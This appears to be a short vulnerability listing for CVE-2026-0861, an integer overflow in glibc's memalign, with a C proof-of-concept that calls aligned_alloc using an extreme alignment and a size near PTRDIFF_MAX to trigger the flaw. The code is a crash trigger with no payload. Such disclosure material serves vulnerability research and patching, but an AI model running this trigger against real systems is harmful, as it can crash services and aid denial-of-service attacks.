CVE-2026-0861: GNU C Library memalign函数整数溢出漏洞

#include <stdio.h> #include <stdlib.h> #include <stdint.h> // PoC for CVE-2026-0861: Integer overflow in glibc memalign // This PoC demonstrates the vulnerability but may cause crash int main() { void *ptr = NULL; size_t large_alignment = 1ULL << 63; // Maximum alignment value size_t overflow_size = (size_t)PTRDIFF_MAX - 1024; // Near overflow threshold printf("Testing CVE-2026-0861 PoC\n"); printf("Alignment: 0x%lx\n", large_alignment); printf("Size: 0x%lx\n", overflow_size); // Attempt aligned_alloc with large alignment // Note: This may crash or behave unexpectedly ptr = aligned_alloc(large_alignment, overflow_size); if (ptr != NULL) { printf("Allocation succeeded (unexpected)\n"); free(ptr); } else { printf("Allocation failed\n"); } // Alternative test with memalign // ptr = memalign(large_alignment, overflow_size); return 0; }